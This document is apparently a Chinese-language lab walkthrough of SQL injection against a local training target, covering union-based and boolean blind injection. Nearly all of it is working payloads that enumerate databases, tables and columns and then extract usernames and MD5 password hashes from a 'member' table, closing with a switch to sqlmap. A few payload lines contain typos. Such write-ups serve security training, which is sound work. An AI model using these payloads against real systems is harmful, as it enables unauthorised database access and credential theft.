## 联合注入

判断是否有注入点  
' and 1=1--+  
猜列数  
'order by 1--+ 一直猜到5报错，列数为4  
猜库  
'and 1=1改为and 1=2  
'and 1=2 union select 1,2,3,4--+发现标题为2，内容为3  
'and 1=2 union select 1,user(),database(),4--+  
' and 1=2 union select 1,database(),schema\_name,4 from information\_schema.schemata limit 0,1--+  
' and 1=2 union select 1,database(),schema\_name,4 from information\_schema.schemata limit 1,1--+  
' and 1=2 union select 1,database(),schema\_name,4 from information\_schema.schemata limit 2,1--+  
' and 1=2 union select 1,database(),schema\_name,4 from information\_schema.schemata limit 3,1--+  
' and 1=2 union select 1,database(),schema\_name,4 from information\_schema.schemata limit 4,1--+  
得到五个数据库  
爆表  
' and 1=2 union select 1,database(),table\_name,4 from information\_schema.tables where table\_schema='admin' limit 0,1--+  
' and 1=2 union select 1,database(),table\_name,4 from information\_schema.tables where table\_schema='admin' limit 1,1--+  
猜表里面的列名  
' and 1=2 union select 1,database(),column\_name,4 from information\_schema.columns where table\_name='member' limit 0,1--+  
' and 1=2 union select 1,database(),column\_name,4 from information\_schema.columns where table\_name='member' limit 1,1--+  
' and 1=2 union select 1,database(),column\_name,4 from information\_schema.columns where table\_name='member' limit 2,1--+  
' and 1=2 union select 1,database(),column\_name,4 from information\_schema.columns where table\_name='member' limit 3,1--+  
得到四个列名id，name，password，status  
查询用户名和密码  
' and 1=2 union select 1,name,password,4 from member limit 0,1--+  
' and 1=2 union select 1,name,password,4 from member limit 1,1--+  
得到两组md5加密的密码 用md5解密即可

## 盲注

数据库长度：http://127.0.0.1/new\_list.php?id=1 and length(database())=10 --+  
2.爆数据库名：  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select database()),1,1))=115 --+  s    
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select database()),2,1))=116 --+  t  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select database()),3,1))=111--+   o  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select database()),4,1))=114--+   r  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select database()),5,1))=109--+   m  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select database()),6,1))=103--+   g  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select database()),7,1))=114--+   r  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select database()),8,1))=111--+   o  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select database()),9,1))=117--+   u  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select database()),10,1))=112--+  p  
数据库名：stormgroup  
  
3.爆表名：  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select table\_name from information\_schema.tables where table\_schema='stormgroup' limit 0,1),1,1))=109 --+           m  
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select table\_name from information\_schema.tables where table\_schema='stormgroup' limit 0,1),2,1))=101 --+            e   
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select table\_name from information\_schema.tables where table\_schema='stormgroup' limit 0,1),3,1))=109 --+            m  
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select table\_name from information\_schema.tables where table\_schema='stormgroup' limit 0,1),4,1))=98 --+              b     
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select table\_name from information\_schema.tables where table\_schema='stormgroup' limit 0,1),5,1))=101 --+           e   
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select table\_name from information\_schema.tables where table\_schema='stormgroup' limit 0,1),6,1))=114 --+           r  
  
表一：member  
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select table\_name from     information\_schema.tables where table\_schema='stormgroup' limit 1,1),1,1))=110 --+          n  
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select table\_name from information\_schema.tables where table\_schema='stormgroup' limit 1,1),2,1))=111 --+          o  
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select table\_name from information\_schema.tables where table\_schema='stormgroup' limit 1,1),3,1))=116 --+          t  
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select table\_name from information\_schema.tables where table\_schema='stormgroup' limit 1,1),4,1))=105 --+          i  
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select table\_name from information\_schema.tables where table\_schema='stormgroup' limit 1,1),5,1))=99 --+           c  
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select table\_name from information\_schema.tables where table\_schema='stormgroup' limit 1,1),6,1))=101 --+         e  
  
表二：notice  
  
3.爆字段：  
http://127.0.0.1/new\_list.php?id=1 and length((select column\_name from information\_schema.columns where table\_name='member' and table\_schema='stormgroup' limit 0,1))=4 --+                 长度为4  
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select column\_name from information\_schema.columns where table\_name='member' and table\_schema='stormgroup' limit 0,1),1,1))=110 --+             n  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select column\_name from information\_schema.columns where table\_name='member' and table\_schema='stormgroup' limit 0,1),2,1))=97 --+               a  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select column\_name from information\_schema.columns where table\_name='member' and table\_schema='stormgroup' limit 0,1),2,1))=109 --+             m  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select dump from information\_schema.columns where table\_name='member' and table\_schema='stormgroup' limit 0,1),2,1))=101 --+             e  
字段一：name  
  
http://127.0.0.1/new\_list.php?id=1 and length((select column\_name from information\_schema.columns where table\_name='member' and table\_schema='stormgroup' limit 1,1))=8 --+  
  
字段二：猜想为password  
  
字段三  
http://127.0.0.1/new\_list.php?id=1 and length((select column\_name from information\_schema.columns where table\_name='member' and table\_schema='stormgroup' limit 2,1))=6 --+   长度为6，猜想字段名为status(显示1账户可用，0不可用）  
  
4.爆字段内容：  
先爆status字段内容：  
http://127.0.0.1/new\_list.php?id=1 and length((select concat(status) from stormgroup.member limit 0,1))=1 --+          长度为一  
http://127.0.0.1/new\_list.php?id=1 andascii(substr((select concat(name) from stormgroup.member limit 0,1),1,1))=48 --+         0  
账户状态为0不可用  
  
http://127.0.0.1/new\_list.php?id=1 and length((select concat(status) from stormgroup.member limit 1,1))=1 --+           长度为一  
http://127.0.0.1/new\_list.php?id=1 andascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))=49 --+         1  
 账户状态为1可用  
  
name字段  
http://127.0.0.1/new\_list.php?id=1 and length((select concat(name) from stormgroup.member limit 1,1))=5 --+             长度为5  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))=109 --+     m  
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select concat(name) from stormgroup.member limit 1,1),2,1))= 111--+      o  
  
http://127.0.0.1/new\_list.php?id=1 and ascii(substr((select concat(name) from stormgroup.member limit 1,1),3,1))=122 --+       z  
.......猜想库名为mozhe  
  
  
password字段  
http://127.0.0.1/new\_list.php?id=1 and length((select concat(password) from stormgroup.member limit 1,1))=32 --+            长度为32。。。。晕，太多了，上sqlmap，拿32位md5值。